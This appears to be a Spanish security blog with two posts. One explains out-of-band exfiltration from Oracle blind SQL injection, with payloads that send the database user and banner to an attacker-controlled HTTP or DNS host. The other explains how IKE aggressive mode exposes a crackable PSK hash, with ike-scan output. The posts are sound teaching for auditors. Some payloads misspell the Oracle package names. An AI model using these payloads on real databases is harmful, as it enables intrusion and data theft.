18 de febrero de 2014

¡Pero señor! ¡Este oráculo no está ciego!

De lo que quiero hablar en esta entrada es algo que puede que sea más que conocido por muchos de vosotros pero que es la base de lo que os quiero contar en otra entrada y que prometo será más interesante. ¡Ojo! Que esto lo es.

Todos sabemos que explotar una inyección de código SQL ciega (blind SQL injection) puede llegar a ser un coñazo. De primeras nos conviene utilizar alguna herramienta para automatizar la explotación, porque a mano puedes sacar un par de valores como el usuario o la base de datos... ¿pero habéis probado alguna vez a sacar registros de una tabla a mano? Obviamente es inviable. Al menos si tienes unos tiempos que cumplir. Es aquí cuando herramientas como sqlmap, sqlibf o tantas otras nos hacen la vida mucho más fácil.

Pero ok. Te paras. Consigues configurar la herramienta para que te pille la inyección que, a menos que te la haya sacado un escáner automático no va a ser trivial. La lanzas. ¿Y ahora qué? Esperar. Y esperar a que haga una media de 7-8 peticiones por carácter de la cadena que estés intentando sacar y eso en el mejor de los casos y que la herramienta esté utilizando una búsqueda dicotómica. Lo que se traduce en unas 100 peticiones de media por cadena básicas como nombre de usuario o base de datos. Ahora, como quieras sacar el banner completo... van a ser en torno a unas 300.

Puestos ya en escena, os quiero contar una técnica para hacer que una inyección "ciega" no sea tan ciega en Oracle. ¿Entiendes ahora el título del post?

UTL_HTTP

UTL_HTTP es un procedimiento almacenado de Oracle que permite realizar conexiones HTTP desde la propia base de datos. Y que, por suerte para nosotros, viene por defecto habilitado en la mayoría de versiones de la base de datos.

Lo único que tenemos que hacer es utilizarlo para que nos mande la información que le pedimos a un servidor web controlado por nosotros.

Os pongo un ejemplo de cómo nos podría mandar el nombre de usuario de la base de datos a nuestro servidor web utilizando tan sólo una petición (frente a las 100 de las que hablaba antes).

Supongamos que el parámetro inyectable es "id", con una inyección de tipo numérico, en la siguiente URL:

http://www.myfakedomain.com/vulnerablepage?id=500

En un caso normal, utilizaríamos payloads como:
  • id=500 and substr(USER,1,1) = 'a'
  • id=500 and substr(USER,1,1) = 'b'
  • id=500 and substr(USER,1,1) = 'c'
  • ...
  • id=500 and substr(USER,2,1) = 'a'
  • id=500 and substr(USER,2,1) = 'b'
  • ...
Sin embargo, si usamos el siguiente payload, nos mandará el nombre del usuario al completo a nuestro servidor web:

id=500 and UTP_HTTP.request('http://www.myserver.com/' || USER) is not NULL

Y, consultando los logs del servidor podremos ver una petición de la siguiente forma:

10.0.2.2 - - [16/Feb/2014:20:09:48 +0100] "GET /PROD_USER HTTP/1.1" 404 484 "-" "Mozilla/5.0 ..."

De donde sacamos que el nombre de usuario es "PROD_USER".

Como veis, con una simple petición, es suficiente para que obtengamos la información que necesitamos. Incluso se pueden concatenar varias consultas en la misma petición, ahorrando más tiempo y esfuerzo.

UTL_INADDR

Si el procedimiento UTL_HTTP estuviera deshabilitado o directamente no funcionara por cualquier motivo (como que el servidor de base de datos tenga el acceso web filtrado), existe un segundo procedimiento almacenado que nos puede ser igualmente útil: UTL_INADDR. Este otro procedimiento es equivalente al anterior pero para realizar consultas DNS.

En esta ocasión, por tanto, si controlamos algún dominio, podemos hacer que el servidor Oracle nos haga una petición DNS como la siguiente:

PROD_USER.myserver.com

Para ello, tendremos que utilizar un payload como el siguiente:

id=500 and UTL_INADDR.GET_HOST_ADDRESS(USER || '.myserver.com') is not NULL

Como veis, es igual de útil. Aunque tened en cuenta que el protocolo DNS tiene ciertas restricciones como que los nombres de dominio no pueden contener espacios. Así que si intentamos sacar el banner de la base de datos, es más que posible que no nos llegue completo o directamente no se realice ninguna consulta DNS.

Para ello, siempre se pueden utilizar funciones como "replace":

id=500 and UTP_INADDR.GET_HOST_ADDRESS( (SELECT REPLACE(banner, ' ') FROM v$version WHERE banner LIKE 'Oracle%') ||'.myserver.com') is not NULL

Útil, ¿no? Espero que la próxima vez que tengáis una inyección SQL ciega en un Oracle os acordéis de estas técnicas para ahorraros tiempo y recursos.


10 de febrero de 2014

Auditando VPNs (V): Modo Agresivo

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Como ya comenté en la primera entrada de esta serie, el modo agresivo (Aggressive Mode) se suele utilizar en combinación con el mecanismo de autenticación PSK (Pre-Shared Key) y es la alternativa al Main Mode. Según el estándar, el main mode debería estar implementado en todos los concentradores de VPN, mientras que el aggressive mode es opcional.

La principal diferencia entre ambos modos es que el modo agresivo es más simple y requiere menos intercambios de mensajes entre el cliente y el servidor para establecer la conexión. Esta ventaja se traduce en un descenso de la seguridad ofrecida por el modo principal. Veamos por qué:

La siguiente secuencia muestra el intercambio de claves en modo principal (main mode) con PSK:

      Initiator                     Responder
     -----------                   -----------
      HDR, SA             -->
                          <--      HDR, SA
      HDR, KE, Ni         -->
                          <--      HDR, KE, Nr
      HDR*, IDii, HASH_I  -->
                          <--      HDR*, IDir, HASH_R

Los primeros dos mensajes negocian la política (el conjunto de atributos que se van a utilizar, la transformada). Los siguientes dos mensajes se usan para intercambiar los valores públicos para la negociación Diffie-Hellman y otra información secundaria. Los últimos dos valores, que ya van cifrados (los denota el *), autentican el intercambio DH.

La secuencia siguiente muestra la misma negociación pero en modo agresivo (aggressive mode):

      Initiator                     Responder
     -----------                   -----------
    HDR, SA, KE, Ni, IDii -->
                          <-- HDR, SA, KE, Nr, IDir, HASH_R
    HDR, HASH_I           -->

En este caso, los primeros dos mensajes hacen la función de los cuatro primeros mensajes del intercambio en el modo principal, así que sirven para negociar la política, intercambiar los valores públicos DH, la información secundaria y los identificadores mutuos. Además, el segundo mensaje ya autentica al "Responder" (el servidor de VPN). El tercer y último mensaje autentica al "Initiator" y proporciona la "prueba de participación" en el intercambio.

Como se puede observar, en la primera secuencia, los hashes se envían cifrados (recuerda el *), mientras que en la segunda secuencia todo se envía en texto claro. Estos hashes son los que se utilizan para la autenticación ya que consisten (a grandes rasgos) en una función HMAC usando como clave la clave compartida (PSK) y cifrando, entre otras cosas, el token nonce (Ni/Nr).

Por tanto, si se utiliza el modo agresivo, el hash del servidor se puede capturar fácilmente de la red y se puede intentar romper. De conseguirlo, habríamos recuperado la clave compartida (PSK). Después de eso, utilizando algún cliente de VPN como PGPNet podríamos conectarnos sin ningún problema a la red a la que se accede por la VPN.

Como podrás imaginar, el modo agresivo es uno de los aspectos más críticos a la hora de analizar la seguridad de un concentrador de VPN basado en IPsec.

Otra de las diferencias entre ambos modos es que, a diferencia de cómo funciona el modo principal, muchos concentradores de VPN tan sólo responden a una petición de entablar conexión utilizando el modo agresivo si se ha especificado un identificador de grupo válido (el IDii de las peticiones de arriba). Este identificador suele ser un nombre de usuario, un email, una dirección IP...

¿En qué se traduce esto en la práctica para nosotros como auditores? Pues que si no enviamos un ID válido, podríamos no estar detectando que el modo agresivo está activo en un concentrador de VPNs y esto podría complicar la enumeración de dispositivos que soporten dicho modo.

Para especificar que debemos utilizar el modo agresivo cuando tratamos de conectarnos con el ike-scan, se utiliza la opción: --aggressive. Para indicar un ID, se usa la opción --id, aunque si no se especifica nada, ike-scan usa él solito el nombre o la dirección IP del servidor como ID.

Veamos el siguiente ejemplo:

$ sudo ike-scan -M --aggressive 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Aggressive Mode Handshake returned
        HDR=(CKY-R=aa780a03dd39566b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=5fbfad1edd38566bbd15132b1455935a
        VID=09002689dfd6b712 (XAUTH)
        KeyExchange(128 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.48.226.227)
        Nonce(20 bytes)
        Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.235 seconds (4.26 hosts/sec).  1 returned handshake; 0 returned notify

Si te fijas bien en la captura anterior, verás varios campos que no habían salido en las capturas que llevo puestas hasta la fecha:
  • ID: como no se especificó nada, ike-scan ha utilizado la dirección IP del servidor (10.48.226.227). 
  • Nonce: es el desafío que se utiliza para autenticar a ambos extremos (lo que va firmado con el hash).
  • Hash: es el valor que autentica al servidor. 
Como ya se me ha quedado un poco larga esta entrada explicando por qué el modo agresivo es más inseguro que el modo principal, dejaré el cómo romper (o tratar de hacerlo) el hash para la próxima entrada ;)